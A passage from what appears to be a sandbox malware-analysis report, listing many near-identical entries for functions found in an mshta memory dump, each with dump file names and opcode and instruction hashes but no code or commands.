                                                                                        Function 07660387 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660F8F Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0766038F Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0766078F Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660797 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660B97 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660F97 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660B9F Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660F9F Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0766026F Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660E5F Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660E27 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660627 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0766062F Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660E1F Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0766061F Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660AE7 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 076602EF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 076602FF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660ED7 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 076602D7 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660ADF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 076602DF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 076602AF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 076602B7 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660EBF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 076602BF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660E97 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660567 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0766056F Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0766096F Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660577 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
